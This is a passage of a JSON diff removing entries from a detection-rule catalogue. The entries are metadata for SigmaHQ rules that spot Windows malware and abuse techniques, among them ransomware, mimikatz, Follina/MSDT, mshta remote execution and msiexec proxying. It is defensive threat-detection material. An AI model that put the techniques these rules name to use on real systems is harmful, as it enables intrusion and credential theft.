"attack.t1059.005" - ], - "creation_date": "2019/10/01", - "filename": "proc_creation_win_malware_qbot.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects Ryuk ransomware activity", - "uuid": "c37510b8-2107-4b78-aa32-72f251e7a844", - "value": "Ryuk Ransomware", - "meta": { - "refs": [ - "https://app.any.run/tasks/d860402c-3ff4-4c1f-b367-0237da714ed1/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_ryuk.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001" - ], - "creation_date": "2019/12/16", - "filename": "proc_creation_win_malware_ryuk.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects wscript/cscript executions of scripts located in user directories", - "uuid": "cea72823-df4d-4567-950c-0b579eaf0846", - "value": "WScript or CScript Dropper", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_script_dropper.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.005", - "attack.t1059.007" - ], - "creation_date": "2019/01/16", - "filename": "proc_creation_win_malware_script_dropper.yml", - "author": "Margaritis Dimitrios (idea), Florian Roth (rule), oscd.community", - "level": "high", - "falsepositive": [ - "Winzip", - "Other self-extractors" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Trickbot enumerates domain/network topology and executes certain commands automatically every few minutes. This detectors attempts to identify that activity based off a command rarely observed in an enterprise network.", - "uuid": "410ad193-a728-4107-bc79-4419789fcbf8", - "value": "Trickbot Malware Recon Activity", - "meta": { - "refs": [ - "https://www.sneakymonkey.net/2019/05/22/trickbot-analysis/", - "https://app.any.run/tasks/f74c5157-8508-4ac6-9805-d63fe7b0d399/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_trickbot_recon_activity.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1482" - ], - "creation_date": "2019/12/28", - "filename": "proc_creation_win_malware_trickbot_recon_activity.yml", - "author": "David Burkett, Florian Roth", - "level": "critical", - "falsepositive": [ - "Rare System Admin Activity" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects Trickbot malware process tree pattern in which rundll32.exe is parent of wermgr.exe", - "uuid": "58bf96d9-ff5f-44bd-8dcc-1c4f79bf3a27", - "value": "Trickbot Malware Activity", - "meta": { - "refs": [ - "https://twitter.com/swisscom_csirt/status/1331634525722521602?s=20", - "https://app.any.run/tasks/f74c5157-8508-4ac6-9805-d63fe7b0d399/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_trickbot_wermgr.yml" - ], - "tags": [ - "attack.execution", - "attack.t1559" - ], - "creation_date": "2020/11/26", - "filename": "proc_creation_win_malware_trickbot_wermgr.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects WannaCry ransomware activity", - "uuid": "41d40bff-377a-43e2-8e1b-2e543069e079", - "value": "WannaCry Ransomware", - "meta": { - "refs": [ - "https://www.hybrid-analysis.com/sample/ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa?environmentId=100", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_wannacry.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1210", - "attack.discovery", - "attack.t1083", - "attack.defense_evasion", - "attack.t1222.001", - "attack.impact", - "attack.t1486", - "attack.t1490" - ], - "creation_date": "2019/01/16", - "filename": "proc_creation_win_malware_wannacry.yml", - "author": "Florian Roth (rule), Tom U. @c_APT_ure (collection), oscd.community, Jonhnathan Ribeiro", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects javaw.exe in AppData folder as used by Adwind / JRAT", - "uuid": "1fac1481-2dbc-48b2-9096-753c49b4ec71", - "value": "Adwind RAT / JRAT", - "meta": { - "refs": [ - "https://www.hybrid-analysis.com/sample/ba86fa0d4b6af2db0656a88b1dd29f36fe362473ae8ad04255c4e52f214a541c?environmentId=100", - "https://www.first.org/resources/papers/conf2017/Advanced-Incident-Detection-and-Threat-Hunting-using-Sysmon-and-Splunk.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mal_adwind.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.005", - "attack.t1059.007" - ], - "creation_date": "2017/11/10", - "filename": "proc_creation_win_mal_adwind.yml", - "author": "Florian Roth, Tom Ueltschi, Jonhnathan Ribeiro, oscd.community", - "level": "high", - "falsepositive": "No established falsepositives", - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Attempts to detect system changes made by Blue Mockingbird", - "uuid": "c3198a27-23a0-4c2c-af19-e5328d49680e", - "value": "Blue Mockingbird", - "meta": { - "refs": [ - "https://redcanary.com/blog/blue-mockingbird-cryptominer/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mal_blue_mockingbird.yml" - ], - "tags": [ - "attack.execution", - "attack.t1112", - "attack.t1047" - ], - "creation_date": "2020/05/14", - "filename": "proc_creation_win_mal_blue_mockingbird.yml", - "author": "Trent Liffick (@tliffick)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects DarkSide Ransomware and helpers", - "uuid": "965fff6c-1d7e-4e25-91fd-cdccd75f7d2c", - "value": "DarkSide Ransomware Pattern", - "meta": { - "refs": [ - "https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html", - "https://app.any.run/tasks/8b9a571b-bcc1-4783-ba32-df4ba623b9c0/", - "https://www.joesandbox.com/analysis/411752/0/html#7048BB9A06B8F2DD9D24C77F389D7B2B58D2", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mal_darkside_ransomware.yml" - ], - "tags": [ - "attack.execution", - "attack.t1204" - ], - "creation_date": "2021/05/14", - "filename": "proc_creation_win_mal_darkside_ransomware.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unknown", - "UAC bypass method used by other malware" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects process execution patterns found in intrusions related to the Hermetic Wiper malware attacks against Ukraine in February 2022", - "uuid": "2f974656-6d83-4059-bbdf-68ac5403422f", - "value": "Hermetic Wiper TG Process Patterns", - "meta": { - "refs": [ - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mal_hermetic_wiper_activity.yml" - ], - "tags": [ - "attack.execution", - "attack.lateral_movement", - "attack.t1021.001" - ], - "creation_date": "2022/02/25", - "filename": "proc_creation_win_mal_hermetic_wiper_activity.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects LockerGoga Ransomware command line.", - "uuid": "74db3488-fd28-480a-95aa-b7af626de068", - "value": "LockerGoga Ransomware", - "meta": { - "refs": [ - "https://medium.com/@malwaredancer/lockergoga-input-arguments-ipc-communication-and-others-bd4e5a7ba80a", - "https://blog.f-secure.com/analysis-of-lockergoga-ransomware/", - "https://www.carbonblack.com/blog/tau-threat-intelligence-notification-lockergoga-ransomware/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mal_lockergoga_ransomware.yml" - ], - "tags": [ - "attack.impact", - "attack.t1486" - ], - "creation_date": "2020/10/18", - "filename": "proc_creation_win_mal_lockergoga_ransomware.yml", - "author": "Vasiliy Burov, oscd.community", - "level": "critical", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects Ryuk Ransomware command lines", - "uuid": "0acaad27-9f02-4136-a243-c357202edd74", - "value": "Ryuk Ransomware", - "meta": { - "refs": [ - "https://research.checkpoint.com/ryuk-ransomware-targeted-campaign-break/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mal_ryuk.yml" - ], - "tags": [ - "attack.execution", - "attack.t1204" - ], - "creation_date": "2019/08/06", - "filename": "proc_creation_win_mal_ryuk.yml", - "author": "Vasiliy Burov", - "level": "critical", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a usage of the manage-bde.wsf script that may indicate an attempt of proxy execution from script", - "uuid": "c363385c-f75d-4753-a108-c1a8e28bdbda", - "value": "Suspicious Usage of the Manage-bde.wsf Script", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Scripts/Manage-bde/", - "https://gist.github.com/bohops/735edb7494fe1bd1010d67823842b712", - "https://twitter.com/bohops/status/980659399495741441", - "https://twitter.com/JohnLaTwC/status/1223292479270600706", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1216/T1216.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_manage_bde_lolbas.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1216" - ], - "creation_date": "2020/10/13", - "filename": "proc_creation_win_manage_bde_lolbas.yml", - "author": "oscd.community, Natalia Shornikova", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service starting", - "uuid": "15619216-e993-4721-b590-4c520615a67d", - "value": "Meterpreter or Cobalt Strike Getsystem Service Start", - "meta": { - "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", - "https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_meterpreter_or_cobaltstrike_getsystem_service_start.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1134.001", - "attack.t1134.002" - ], - "creation_date": "2019/10/26", - "filename": "proc_creation_win_meterpreter_or_cobaltstrike_getsystem_service_start.yml", - "author": "Teymur Kheirkhabarov, Ecco, Florian Roth", - "level": "high", - "falsepositive": [ - "Commandlines containing components like cmd accidentally", - "Jobs and services started with cmd" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detection well-known mimikatz command line arguments", - "uuid": "a642964e-bead-4bed-8910-1bb4d63e3b4d", - "value": "Mimikatz Command Line", - "meta": { - "refs": [ - "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", - "https://tools.thehacker.recipes/mimikatz/modules", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mimikatz_command_line.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001", - "attack.t1003.002", - "attack.t1003.004", - "attack.t1003.005", - "attack.t1003.006" - ], - "creation_date": "2019/10/22", - "filename": "proc_creation_win_mimikatz_command_line.yml", - "author": "Teymur Kheirkhabarov, oscd.community, David ANDRE (additional keywords), Tim Shelton", - "level": "medium", - "falsepositive": [ - "Legitimate Administrator using tool for password recovery" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects MMC20.Application Lateral Movement; specifically looks for the spawning of the parent MMC.exe with a command line of \"-Embedding\" as a child of svchost.exe", - "uuid": "f1f3bf22-deb2-418d-8cce-e1a45e46a5bd", - "value": "MMC20 Lateral Movement", - "meta": { - "refs": [ - "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/", - "https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view?usp=sharing", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mmc20_lateral_movement.yml" - ], - "tags": [ - "attack.execution", - "attack.t1021.003" - ], - "creation_date": "2020/03/04", - "filename": "proc_creation_win_mmc20_lateral_movement.yml", - "author": "@2xxeformyshirt (Security Risk Advisors) - rule; Teymur Kheirkhabarov (idea)", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a Windows command line executable started from MMC", - "uuid": "05a2ab7e-ce11-4b63-86db-ab32e763e11d", - "value": "MMC Spawning Windows Shell", - "meta": { - "refs": [ - "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mmc_spawn_shell.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021.003" - ], - "creation_date": "2019/08/05", - "filename": "proc_creation_win_mmc_spawn_shell.yml", - "author": "Karneades, Swisscom CSIRT", - "level": "high", - "falsepositive": "No established falsepositives", - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detect malicious GPO modifications can be used to implement many other malicious behaviors.", - "uuid": "ada4b0c4-758b-46ac-9033-9004613a150d", - "value": "Modify Group Policy Settings", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1484.001/T1484.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_modify_group_policy_settings.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1484.001" - ], - "creation_date": "2022/08/19", - "filename": "proc_creation_win_modify_group_policy_settings.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate use" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects modification of an existing service on a compromised host in order to execute an arbitrary payload when the service is started or killed as a method of persistence.", - "uuid": "38879043-7e1e-47a9-8d46-6bec88e201df", - "value": "Modification Of Existing Services For Persistence", - "meta": { - "refs": [ - "https://pentestlab.blog/2020/01/22/persistence-modify-existing-service/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_modif_of_services_for_via_commandline.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1543.003", - "attack.t1574.011" - ], - "creation_date": "2020/09/29", - "filename": "proc_creation_win_modif_of_services_for_via_commandline.yml", - "author": "Sreeman", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "BITS will allow you to schedule a command to execute after a successful download to notify you that the job is finished. When the job runs on the system the command specified in the BITS job will be executed. This can be abused by actors to create a backdoor within the system and for persistence. It will be chained in a BITS job to schedule the download of malware/additional binaries and execute the program after being downloaded", - "uuid": "b9cbbc17-d00d-4e3d-a827-b06d03d2380d", - "value": "Monitoring For Persistence Via BITS", - "meta": { - "refs": [ - "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", - "http://0xthem.blogspot.com/2014/03/t-emporal-persistence-with-and-schtasks.html", - "https://isc.sans.edu/diary/Wipe+the+drive+Stealthy+Malware+Persistence+Mechanism+-+Part+1/15394", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_monitoring_for_persistence_via_bits.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1197" - ], - "creation_date": "2020/10/29", - "filename": "proc_creation_win_monitoring_for_persistence_via_bits.yml", - "author": "Sreeman", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "In Kaspersky's 2020 Incident Response Analyst Report they listed legitimate tool \"Mouse Lock\" as being used for both credential access and collection in security incidents.", - "uuid": "c9192ad9-75e5-43eb-8647-82a0a5b493e3", - "value": "Mouse Lock Credential Gathering", - "meta": { - "refs": [ - "https://github.com/klsecservices/Publications/blob/657deb6a6eb6e00669afd40173f425fb49682eaa/Incident-Response-Analyst-Report-2020.pdf", - "https://sourceforge.net/projects/mouselock/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mouse_lock.yml" - ], - "tags": [ - "attack.credential_access", - "attack.collection", - "attack.t1056.002" - ], - "creation_date": "2020/08/13", - "filename": "proc_creation_win_mouse_lock.yml", - "author": "Cian Heasley", - "level": "medium", - "falsepositive": [ - "Legitimate uses of Mouse Lock software" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects file execution using the msdeploy.exe lolbin", - "uuid": "646bc99f-6682-4b47-a73a-17b1b64c9d34", - "value": "Execute Files with Msdeploy.exe", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Msdeploy/", - "https://twitter.com/pabraeken/status/995837734379032576", - "https://twitter.com/pabraeken/status/999090532839313408", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdeploy.yml" - ], - "tags": [ - "attack.execution", - "attack.t1218" - ], - "creation_date": "2020/10/18", - "filename": "proc_creation_win_msdeploy.yml", - "author": "Beyu Denis, oscd.community", - "level": "medium", - "falsepositive": [ - "System administrator Usage" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects processes leveraging the \"ms-msdt\" handler or the \"msdt.exe\" binary to execute arbitrary commands as seen in the follina (CVE-2022-30190) vulnerability", - "uuid": "258fc8ce-8352-443a-9120-8a11e4857fa5", - "value": "Execute Arbitrary Commands Using MSDT.EXE", - "meta": { - "refs": [ - "https://twitter.com/nao_sec/status/1530196847679401984", - "https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/", - "https://twitter.com/_JohnHammond/status/1531672601067675648", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdt.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1202" - ], - "creation_date": "2022/05/29", - "filename": "proc_creation_win_msdt.yml", - "author": "Nasreddine Bencherchali (rule)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects diagcab leveraging the \"ms-msdt\" handler or the \"msdt.exe\" binary to execute arbitrary commands as seen in CVE-2022-30190", - "uuid": "6545ce61-a1bd-4119-b9be-fcbee42c0cf3", - "value": "Execute MSDT.EXE Using Diagcab File", - "meta": { - "refs": [ - "https://github.com/GossiTheDog/ThreatHunting/blob/e85884abbf05d5b41efc809ea6532b10b45bd05c/AdvancedHuntingQueries/DogWalk-DiagCab", - "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-9015912909545e72ed42cbac4d1e96295e8964579c406d23fd9c47a8091576a0", - "https://irsl.medium.com/the-trouble-with-microsofts-troubleshooters-6e32fc80b8bd", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdt_diagcab.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1202" - ], - "creation_date": "2022/06/09", - "filename": "proc_creation_win_msdt_diagcab.yml", - "author": "GossiTheDog (rule), frack113 (sigma version)", - "level": "high", - "falsepositive": [ - "Legitimate usage of \".diagcab\" files" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects execution of msdt.exe using the \"cab\" flag which could indicates suspicious diagcab files with embedded answer files leveraging CVE-2022-30190", - "uuid": "dc4576d4-7467-424f-9eee-fd2b02855fe0", - "value": "MSDT.EXE Execution With Suspicious Cab Option", - "meta": { - "refs": [ - "https://twitter.com/nas_bench/status/1537896324837781506", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdt_susp_cab_options.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1202" - ], - "creation_date": "2022/06/21", - "filename": "proc_creation_win_msdt_susp_cab_options.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Legitimate usage of \".diagcab\" files" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects msdt.exe executed by a suspicious parent as seen in CVE-2022-30190 / Follina exploitation", - "uuid": "7a74da6b-ea76-47db-92cc-874ad90df734", - "value": "MSDT Executed with Suspicious Parent", - "meta": { - "refs": [ - "https://twitter.com/nao_sec/status/1530196847679401984", - "https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdt_susp_parent.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036", - "attack.t1218" - ], - "creation_date": "2022/06/01", - "filename": "proc_creation_win_msdt_susp_parent.yml", - "author": "Nextron Systems", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the suspicious minimized start of MsEdge browser, which can be used to download files from the Internet", - "uuid": "94771a71-ba41-4b6e-a757-b531372eaab6", - "value": "Suspicious Minimized MSEdge Start", - "meta": { - "refs": [ - "https://twitter.com/mrd0x/status/1478234484881436672?s=12", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msedge_minimized_download.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105" - ], - "creation_date": "2022/01/11", - "filename": "proc_creation_win_msedge_minimized_download.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Software that uses MsEdge to download components in the background (see ParentImage, ParentCommandLine)" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects execution of the \"mshta\" utility with an argument containing the \"http\" keyword, which could indicate that an attacker is executing a remotely hosted malicious hta file", - "uuid": "b98d0db6-511d-45de-ad02-e82a98729620", - "value": "Mshta Remotely Hosted HTA File Execution", - "meta": { - "refs": [ - "https://www.trendmicro.com/en_us/research/22/e/avoslocker-ransomware-variant-abuses-driver-file-to-disable-anti-Virus-scans-log4shell.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mshta_http.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution", - "attack.t1218.005" - ], - "creation_date": "2022/08/08", - "filename": "proc_creation_win_mshta_http.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Identifies suspicious mshta.exe commands.", - "uuid": "67f113fa-e23d-4271-befa-30113b3e08b1", - "value": "Mshta JavaScript Execution", - "meta": { - "refs": [ - "https://eqllib.readthedocs.io/en/latest/analytics/6bc283c4-21f2-4aed-a05c-a9a3ffa95dd4.html", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.005/T1218.005.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mshta_javascript.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.005" - ], - "creation_date": "2019/10/24", - "filename": "proc_creation_win_mshta_javascript.yml", - "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a Windows command line executable started from MSHTA", - "uuid": "03cc0c25-389f-4bf8-b48d-11878079f1ca", - "value": "MSHTA Spawning Windows Shell", - "meta": { - "refs": [ - "https://www.trustedsec.com/july-2015/malicious-htas/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mshta_spawn_shell.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.005", - "car.2013-02-003", - "car.2013-03-001", - "car.2014-04-003" - ], - "creation_date": "2019/01/16", - "filename": "proc_creation_win_mshta_spawn_shell.yml", - "author": "Michael Haag", - "level": "high", - "falsepositive": [ - "Printer software / driver installations", - "HP software" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects MsiExec loading a DLL and calling its DllUnregisterServer function", - "uuid": "84f52741-8834-4a8c-a413-2eb2269aa6c8", - "value": "Suspicious Msiexec Load DLL", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec", - "https://twitter.com/_st0pp3r_/status/1583914515996897281", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_dll.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.007" - ], - "creation_date": "2022/04/24", - "filename": "proc_creation_win_msiexec_dll.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may abuse msiexec.exe to proxy the execution of malicious payloads", - "uuid": "4a2a2c3e-209f-4d01-b513-4155a540b469", - "value": "Suspicious MsiExec Embedding Parent", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_embedding.yml" - ], - "tags": [ - "attack.t1218.007", - "attack.defense_evasion" - ], - "creation_date": "2022/04/16", - "filename": "proc_creation_win_msiexec_embedding.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may abuse msiexec.exe to proxy execution of malicious payloads.\nMsiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi)\n", - "uuid": "6f4191bb-912b-48a8-9ce7-682769541e6d", - "value": "Suspicious Msiexec Execute Arbitrary DLL", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md", - "https://twitter.com/_st0pp3r_/status/1583914515996897281", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_execute_dll.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.007" - ], - "creation_date": "2022/01/16", - "filename": "proc_creation_win_msiexec_execute_dll.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate script" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may abuse msiexec.exe to proxy execution of malicious payloads.\nMsiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi)\n", - "uuid": "79a87aa6-e4bd-42fc-a5bb-5e6fbdcd62f5", - "value": "Suspicious Msiexec Quiet Install", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md", - "https://twitter.com/_st0pp3r_/status/1583914244344799235", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_install_quiet.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.007" - ], - "creation_date": "2022/01/16", - "filename": "proc_creation_win_msiexec_install_quiet.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate script" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects usage of Msiexec.exe to install packages hosted remotely quietly", - "uuid": "8150732a-0c9d-4a99-82b9-9efb9b90c40c", - "value": "Suspicious Msiexec Quiet Install From Remote Location", - "meta": { - "refs": [ - "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_install_remote.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.007" - ], - "creation_date": "2022/10/28", - "filename": "proc_creation_win_msiexec_install_remote.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects process injection using Microsoft Remote Asssistance (Msra.exe) which has been used for discovery and persistence tactics", - "uuid": "744a188b-0415-4792-896f-11ddb0588dbc", - "value": "Msra.exe Process Injection", - "meta": { - "refs": [ - "https://www.microsoft.com/security/blog/2021/12/09/a-closer-look-at-qakbots-latest-building-blocks-and-how-to-knock-them-down/", - "https://www.fortinet.com/content/dam/fortinet/assets/analyst-reports/ar-qakbot.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msra_process_injection.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1055" - ], - "creation_date": "2022/06/24", - "filename": "proc_creation_win_msra_process_injection.yml", - "author": "Alexander McDonald", - "level": "high", - "falsepositive": [ - "Legitimate use of Msra.exe" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } 